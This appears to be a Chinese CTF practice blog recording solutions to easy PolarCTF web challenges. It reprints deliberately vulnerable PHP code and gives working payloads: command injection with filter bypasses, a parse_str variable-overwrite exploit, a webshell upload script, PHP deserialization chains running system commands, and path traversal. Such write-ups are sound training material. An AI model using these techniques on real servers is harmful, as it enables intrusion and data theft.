polarCTFweb刷题记录(简单)

polarCTFweb刷题记录(简单)

总算是把简单题刷完了。

PHP是世界上最好的语言

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
//flag in $flag
highlight_file(__FILE__);
include("flag.php");
$c=$_POST['sys'];
$key1 = 0;
$key2 = 0;
if(isset($_GET['flag1']) || isset($_GET['flag2']) || isset($_POST['flag1']) || isset($_POST['flag2'])) {
die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($flag1 == '8gen1' && $flag2 == '8gen1') {
if(isset($_POST['504_SYS.COM'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\?/", $c)){
eval("$c");

}
}
}
?>
  • 关键点分析

    1. flag1 和 flag2 不能以 GET 或 POST 普通参数形式出现,否则直接 die。

    2. 有这一行:@parse_str($_SERVER[‘QUERY_STRING’]); → 这会把 URL 中的查询字符串(如 ?a=1&b=2)解析成变量

    3. 紧接着 extract($_POST); → 会把 POST 参数也导入到当前符号表,且 POST 会覆盖同名变量(重要!)

    4. 要进入

      eval

      必须满足:

      • $flag1 === ‘8gen1’ 且 $flag2 === ‘8gen1’
      • POST 中有 504_SYS.COM 这个参数
      • $c(即 $_POST[‘sys’])不能包含一堆被禁字符

干正则

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
error_reporting(0);
if (empty($_GET['id'])) {
show_source(__FILE__);
die();
} else {
include 'flag.php';
$a = "www.baidu.com";
$result = "";
$id = $_GET['id'];
@parse_str($id);
echo $a[0];
if ($a[0] == 'www.polarctf.com') {
$ip = $_GET['cmd'];
if (preg_match('/flag\.php/', $ip)) {
die("don't show flag!!!");
}

$result .= shell_exec('ping -c 2 ' . $a[0] . $ip);
if ($result) {
echo "<pre>{$result}</pre>";
}
} else {
exit('其实很简单!');
}
}

parse_str($id) 变量覆盖漏洞(PHP < 5.4 经典漏洞)

PHP

1
2
$id = $_GET['id'];
@parse_str($id);

这行代码是最大漏洞! parse_str() 会把查询字符串格式的参数解析并注册成变量,例如:

text

1
?id=a=hhh

执行后就会在当前作用域创建一个变量 $a = ‘hhh’,直接覆盖了前面定义的

PHP

1
$a = "www.baidu.com";

所以我们可以通过构造 id 参数来任意覆盖 $a 变量。

1
?id=a[0]=www.polarctf.com&cmd=;cat%20flag*

uploader

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$sandBox = md5($_SERVER['REMOTE_ADDR']);
if(!is_dir($sandBox)){
mkdir($sandBox,0755,true);
}
if($_FILES){
move_uploaded_file($_FILES['file']['tmp_name'],$sandBox."/".$_FILES["file"]["name"]);
echo "上传文件名: " . $_FILES["file"]["name"] . "<br>";
echo "文件类型: " . $_FILES["file"]["type"] . "<br>";
echo "文件大小: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";
echo $sandBox;
}

highlight_file(__FILE__);

没有过滤限制的文件上传界面。使用客户端 IP 地址 ($_SERVER['REMOTE_ADDR'])MD5 哈希值作为目录名创建文件夹。 例如:如果你的IP 192.168.1.1,文件夹名会是类似 3d4e9f5a2a4b8c6d0e1f2a3b4c5d6e7f 的哈希值(实际哈希因 IP 不同而变)。

如果该目录不存在,就通过 mkdir($sandBox, 0755, true) 创建它。

当通过 POST 请求(multipart/form-data 格式)上传名为 file 的文件时,它会:

  • 使用move_uploaded_file将上传的文件移动到$sandBox . "/" . $_FILES["file"]["name"]路径下。
  • 直接保留客户端提供的原始文件名。
  • 输出上传信息:文件名、MIME 类型、大小(单位 kB),并回显沙盒目录路径。

我们只需要利用及脚本上传文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests

url = 'http://055a0922-a994-45ee-9635-c9232735cb7f.www.polarctf.com:8090/' # 替换成你的服务器地址

files = {'file': open('D:\Python\yijihua.php', 'rb')} # 将文件名替换为你想上传的文件

response = requests.post(url, files=files)

if response.status_code == 200:
print("文件上传成功!")
print("服务器返回的消息:", response.text)
else:
print("文件上传失败!")
print("错误码:", response.status_code)

覆盖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
error_reporting(0);
if (empty($_GET['id'])) {
show_source(__FILE__);
die();
} else {
include 'flag.php';
$a = "www.baidu.com";
$result = "";
$id = $_GET['id'];
@parse_str($id);
echo $a[0];
if ($a[0] == 'www.polarctf.com') {
$ip = $_GET['cmd'];
$result .= shell_exec('ping -c 2 ' . $a[0] . $ip);
if ($result) {
echo "<pre>{$result}</pre>";
}
} else {
exit('其实很简单!');
}
}

跟干正则完全一样,利用变量覆盖漏洞。

审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

if (isset($_GET['xxs'])) {
$input = $_GET['xxs'];

if (is_array($input)) {
die("错误:输入类型不允许为数组。");
}
if (!preg_match("/^0e[0-9]+$/", md5($input))) {
die("错误:输入的MD5值必须以'0e'开头,并跟随数字。");
}
if (!is_numeric($input)) {
die("错误:输入必须是数字。");
}

die("恭喜:".$flag);
} else {
die("错误:必须设置正确参数。");
}
?>
  • $input 必须是数字字符串(通过 is_numeric() 检查)
  • md5($input) 的结果必须是以 “0e” 开头且后面全是数字的字符串(如 “0e1234567890”)
  • $input 不能是数组

rapyiquan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
error_reporting(0);
highlight_file(__FILE__);
header('content-type:text/html;charset=utf-8');

$url = $_SERVER['REQUEST_URI'];
function checkUrlParams($params) {
if (strpos($params, '_') !== false) {
return false;
}
return true;
}

if(checkUrlParams($url)){
$cmd=$_GET['c_md'];
if (preg_match("/ls|dir|flag|type|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("badly!");
} else {
echo `$cmd`;
}
}else{
echo "$url";
echo "<br>";
echo "Hack";
}

  • 正常访问(URI无”_”):页面显示源码 + 一个输入框(隐含,通过?c_md=xxx传入命令)。
  • 用户传入?c_md=xxx,如果xxx不匹配黑名单正则,就直接在服务器上执行xxx命令,并输出结果。这就是一个命令注入漏洞,目标通常是读取flag文件(例如cat flag.php或ls列目录)。
  • 黑名单过滤非常严格:
    • 禁止几乎所有常见读文件/执行命令的工具:cat、ls、grep、more、less、head、tail、tac、vi、nl、od、sed、paste、diff、file、wget、echo、bash、sh等。
    • 禁止常见注入分隔符:;、&、、&&、||、换行、空格类似(\xA0是非断空格)、反引号、单双引号、反斜杠、*?{}$<>等通配符和重定向。
    • 甚至禁止flag关键字本身,防止直接cat flag。

url中_的绕过可以使用php特性,对关键词的过滤可以使用\绕过

1
?c[md=ta\c /fl\ag.php

bllbl_ser1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
class bllbl
{
public $qiang;//我的强
function __destruct(){
$this->bllliang();
}
function bllliang(){
$this->qiang->close();
}
}

class bllnbnl{
public $er;//我的儿
function close(){
eval($this->er);
}
}
if(isset($_GET['blljl'])){
$user_data=unserialize($_GET['blljl']);
}

我们需要触发close,需要先触发bllliang,要触发bllliang需要先触发销毁函数__destruct()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

class bllbl
{
public $qiang;
function __destruct(){
$this->bllliang();
}
function bllliang(){
$this->qiang->close();
}
}
class bllnbnl{
public $er = 'system("ls /");';
function close(){
eval($this->er);
}
}
$a = new bllbl();
$b = new bllnbnl();
$a->qiang = $b;
var_dump(serialize($a));
?>

1ncIud3

根据题目提示常见的替换有

f1a9 f1ag f149

又因为是在某个目录下,所以用…/./为一组,不出意外基本题型最多也就四组,四组还不行的话就换命令了

1
?page=..././..././f1a9

狗黑子的RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
error_reporting(0);
highlight_file(__FILE__);
header('content-type:text/html;charset=utf-8');


$gouheizi1=$_GET['gouheizi1'];
$gouheizi2=$_POST['gouheizi2'];
$gouheizi2=str_replace('gouheizi', '', $gouheizi2);

if (preg_match("/ls|dir|flag|type|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $gouheizi1)) {
echo("badly!");
exit;
}
if($gouheizi2==="gouheizi"){
system($gouheizi1);
}else{
echo "gouheizi!";
}
?>

核心逻辑总结

要成功执行命令,必须同时满足两个条件:

  1. POST 传入的 gouheizi2 经过 str_replace(‘gouheizi’,’’,…) 后,**结果仍然严格等于 “gouheizi”**。
  2. GET 传入的 gouheizi1 是一个有效的命令,且不能包含正则中列出的任何被禁字符/命令

gouheizi2利用双写绕过,gouheizi1没有过滤 \ /

1
2
?gouheizi1=l\s /
gouheizi2=gougouheiziheizi

简单的链子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class A {
public $cmd;
function __destruct() {
if (isset($this->cmd)) {
system($this->cmd);
}
}
}

if (isset($_GET['data'])) {
$data = $_GET['data'];
@unserialize($data);
} else {
highlight_file(__FILE__);
}

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class A {
public $cmd;
// function __destruct() {
// if (isset($this->cmd)) {
// system($this->cmd);
// }
// }
}

$a = new A();
$a->cmd = "cat /flag";
echo serialize($a);

rce命令执行系统

目录扫描出flag.txt

访问得到提示:

1
2
txt > php
l > 1

根据提示访问./f1ag.php

1
hint:既然你找到这里了那就告诉你点东西吧 异或后它好像改名叫XOR_KEY,给他传个参试一试呢,对了,咱们的靶场叫什么来着?🤔

payload:

1
env XOR_KEY=Polar

polarCTFweb刷题记录(简单)
http://example.com/2025/12/14/polarCTFweb刷题记录-简单/
作者
everythingis-ok
发布于
2025年12月14日
许可协议